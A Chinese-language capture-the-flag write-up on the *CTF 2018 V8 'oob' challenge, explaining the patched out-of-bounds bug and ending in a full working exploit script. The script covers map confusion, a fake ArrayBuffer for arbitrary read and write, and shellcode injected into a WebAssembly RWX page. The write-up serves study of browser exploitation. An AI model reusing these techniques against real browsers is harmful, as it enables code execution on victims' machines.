本以为研究生的生活可以摸鱼,没想到研讨课一下子分了个讲v8的课题,没办法,只有硬着头皮上了。
参考资料:
http://eternalsakura13.com/2019/04/29/*ctf_oob/
https://github.com/theori-io/zer0con2018_bpak
这篇文章正好也记录一下学习的过程,写文章的时候也可以顺便看看有哪些地方没搞清楚。这里以startctf 2018 的 oob一题,来一点一点的学习v8。
首先,题目给出了一个patch,给js的Array新加了一个方法:
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
根据patch可以看出,当我们调用array.oob()时可以越界读,调用array.oob(xxx)时可以越界把xxx的值写进去。
为了完成利用,首先肯定需要知道这一个越界的地址上存放的是什么。
首先来做一个测试:
d8> a = [1,2,3,4,5,6,7]
[1, 2, 3, 4, 5, 6, 7]
d8> %DebugPrint(a)
0x18691f2cdd61 <JSArray[7]>
[1, 2, 3, 4, 5, 6, 7]
在启动d8的时候使用--allow-natives-syntax
参数可以启用一些方便我们调试的方法,%DebugPrint
可以打印出一个类所在的内存地址。在上面的例子中,a所在的内存地址为0x18691f2cdd61
,查看内存可知a的elem地址为0x000018691f2cdcd1
,而此时我们完全不知道elem越界之后的那一位地址上面的数据是什么东西。
这时候我们就必须想一些办法来让elem越界后的内存是我们可以控制的内存,而js的array中有一个splice方法,可以让array的内存排布更为紧密:
a = a.splice(0)
[1, 2, 3, 4, 5, 6, 7]
d8> %DebugPrint(a)
0x18691f2d0959 <JSArray[7]>
[1, 2, 3, 4, 5, 6, 7]
此时可以看到array的elem和它本身就是紧密排布的,而elem越界之后的第一个元素正好是array的第一个元素,也就是array的map。在js中,是通过map来判断一个object的类型的,所以通过这一个越界读写,就可以控制一个object的map。v8中的array又有两种类型,一种是用来储存double数据的,一种是用来储存object数据的。这应该算是v8的一种优化措施,如果一个数组中的元素全是double型数据,就没有必要再给每一个元素再加一层指针了,而这种类型的数组就如上面的测试所示。
b = [a,a,a,a,1,2,3]
[[1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], 1, 2, 3]
d8> %DebugPrint(b)
0x18691f2d11b1 <JSArray[7]>
[[1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], 1, 2, 3]
可以看到b的map值和a的map值就不同了。所以我们可以通过把一个储存object类型的数组改写成储存double型的,从而泄露里面储存的object的地址:
let w = [1,2,3,4,5,6,7,8,9,0].splice(0);
var ab = new ArrayBuffer(0x1000);
var a = [1.1, 1.1, 1.1, 1.1];
var b = [w, w, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];
a = a.splice(0);
b = b.splice(0);
c = c.splice(0);
double_map = a.oob();
console.log("doube map is:");
console.log(Int64.fromDouble(double_map).toString(16));
object_map = b.oob();
console.log("object map is:");
console.log(Int64.fromDouble(object_map).toString(16));
b.oob(double_map);
%DebugPrint(w);
console.log("leak w addr:");
console.log(Int64.fromDouble(b[0]).toString(16));
输出为:
d8> load('exp2.js')
doube map is:
0x00002d5408642ed9
object map is:
0x00002d5408642f79
0x111d67655729 <JSArray[10]>
leak w addr:
0x0000111d67655729
可以看到我们成功leak了w的地址。
但是只有leak明显是不够的,js中有一个比较底层的对象叫做ArrayBuffer
,它可以直接对二进制数据进行读写。如果我们可以伪造一个ArrayBuffer
,然后利用这个ArrayBuffer
是不是就可以实现对程序任意地址的读写了。而通过前面的leak,我们就可以知道我们申请的array的地址,然后可以通过偏移算出其elem的地址,所以我们直接在elem中布置我们伪造的ArrayBuffer
:
var fake_arraybuffer = [
//map|properties
new Int64(0xdeadbeef).asDouble(),
new Int64(0x0).asDouble(),
//elements|length
new Int64(0x0).asDouble(),
new Int64(0x1000).asDouble(),
//backingstore|0x2
new Int64(0x0).asDouble(),
new Int64(0x2).asDouble(),
//padding
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
//fake map
new Int64(0x0).asDouble(),
new Int64(0x1900042319080808).asDouble(),
new Int64(0x00000000082003ff).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
].splice(0);
虽然我们不知道ArrayBuffer
的map地址,但是我们可以伪造ArrayBuffer
的map值,所以在数据的最后加上了一段伪造的ArrayBuffer
map值。
但是我们要读写什么地方呢?在js中有一个WebAssembly.Instance
对象,它会申请一段rwx的空间,其中储存着一些代码,我觉得可以是v8为了优化wasm的执行速度而申请的,此处存疑,以后有机会去看一下源码,我们可以通过改写其中的代码,来执行我们自己的shellcode。
所以这么一套流程下来,利用思路并不复杂,就是通过改写array的map值来进行leak,之后伪造ArrayBuffer
来进行任意地址的读写。
exp:
String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
return (Array(total).join(pad || 0) + this).slice(-total);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++){
//print(bytes[i].toString(16));
res.push(('0' + bytes[i].toString(16)).substr(-2));
}
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
var chunk = data.slice(i, i+16);
for (var i = 0; i < data.length; i += 16) {
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
//print(bigEndian.toString());
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
//print("toString");
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = a.toString(16);
if (ret.substr(0,2) != "0x") return "0x"+ret;
else return ret;
}
function lower(x) {
// returns the lower 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}
function upper(x) {
// returns the upper 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}
function lowerint(x) {
// returns the lower 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}
function upperint(x) {
// returns the upper 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}
function combine(a, b) {
//a = a >>> 0;
//b = b >>> 0;
//print(a.toString());
//print(b.toString());
return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}
//padLeft用于字符串左补位
function combineint(a, b) {
//a = a >>> 0;
//b = b >>> 0;
return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}
// based on Long.js by dcodeIO
// https://github.com/dcodeIO/Long.js
// License Apache 2
class _u64 {
constructor(hi, lo) {
this.lo_ = lo;
this.hi_ = hi;
}
hex() {
var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
hlo = "00000000" + hlo
hlo = hlo.substr(hlo.length-8, hlo.length);
return "0x" + hhi + hlo;
}
isZero() {
return this.hi_ == 0 && this.lo_ == 0;
}
equals(val) {
return this.hi_ == val.hi_ && this.lo_ == val.lo_;
}
and(val) {
return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
}
add(val) {
var a48 = this.hi_ >>> 16;
var a32 = this.hi_ & 0xFFFF;
var a16 = this.lo_ >>> 16;
var a00 = this.lo_ & 0xFFFF;
var b48 = val.hi_ >>> 16;
var b32 = val.hi_ & 0xFFFF;
var b16 = val.lo_ >>> 16;
var b00 = val.lo_ & 0xFFFF;
var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
c00 += a00 + b00;
c16 += c00 >>> 16;
c00 &= 0xFFFF;
c16 += a16 + b16;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c32 += a32 + b32;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c48 += a48 + b48;
c48 &= 0xFFFF;
return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
}
addi(h,l) {
return this.add(new _u64(h,l));
}
subi(h,l) {
return this.sub(new _u64(h,l));
}
not() {
return new _u64(~this.hi_, ~this.lo_)
}
neg() {
return this.not().add(new _u64(0,1));
}
sub(val) {
return this.add(val.neg());
};
swap32(val) {
return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
}
bswap() {
var lo = swap32(this.lo_);
var hi = swap32(this.hi_);
return new _u64(lo, hi);
};
}
var u64 = function(hi, lo) { return new _u64(hi,lo) };
function gc(){
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
// var shellcode = [0xcccccccc];
const wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,0x00, 0x00, 0x41, 0x00, 0x0b]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
// %DebugPrint(wasm_instance);
gc();
gc();
var fake_arraybuffer = [
//map|properties
new Int64(0xdeadbeef).asDouble(),
new Int64(0x0).asDouble(),
//elements|length
new Int64(0x0).asDouble(),
new Int64(0x1000).asDouble(),
//backingstore|0x2
new Int64(0x0).asDouble(),
new Int64(0x2).asDouble(),
//padding
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
//fake map
new Int64(0x0).asDouble(),
new Int64(0x1900042319080808).asDouble(),
new Int64(0x00000000082003ff).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
].splice(0);
// let w = [1,2,3,4,5,6,7,8,9,0].splice(0);
// %DebugPrint(fake_arraybuffer);
var ab = new ArrayBuffer(0x1000);
var a = [1.1, 1.1, 1.1, 1.1];
var b = [fake_arraybuffer, wasm_instance, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];
a = a.splice(0);
b = b.splice(0);
c = c.splice(0);
double_map = a.oob();
console.log("doube map is:");
console.log(Int64.fromDouble(double_map).toString(16));
console.log("object map is:");
object_map = b.oob();
console.log(Int64.fromDouble(object_map).toString(16));
b.oob(double_map);
fake_arraybuffer_addr = b[0];
console.log('fake_arraybuffer_addr addr : ')
console.log(Int64.fromDouble(fake_arraybuffer_addr).toString(16));
wasm_addr = b[1];
console.log('wasm addr : ')
console.log(Int64.fromDouble(wasm_addr).toString(16));
ad_addr = b[2];
console.log('ab addr ');
console.log(Int64.fromDouble(ad_addr).toString(16));
rwx_addr = wasm_addr + new Int64(0x88 - 0x1).asDouble();
fake_arraybuffer[0] = double_map;
fake_arraybuffer_elem_addr = fake_arraybuffer_addr - new Int64(0x80).asDouble();
console.log('fake elem addr');
console.log(Int64.fromDouble(fake_arraybuffer_elem_addr).toString(16));
// raw_array_map = double_map - new Int64(3360).asDouble();
raw_array_map = fake_arraybuffer_elem_addr + new Int64(0x40).asDouble();
console.log('arraybuffer map : ');
console.log(Int64.fromDouble(raw_array_map).toString(16));
fake_arraybuffer[0] = raw_array_map;
fake_arraybuffer[4] = rwx_addr;
www = [fake_arraybuffer_elem_addr,1,2,3,4,5,6,7].splice(0);
www.oob(object_map);
www1 = www[0];
// console.log(typeof(www1));
var dv = new DataView(www1);
rwx_addr = dv.getFloat64(0, true);
console.log("rwx addr is:");
console.log(Int64.fromDouble(rwx_addr).toString(16));
fake_arraybuffer[4] = rwx_addr;
for (i = 0; i < shellcode.length; i++){
dv.setUint32(i * 4, shellcode[i], true);
}
wasm_func();
当然这个exp中有好大一部分都是参考照抄别人的,因为自己对js本身就不怎么熟悉orz。
26bcem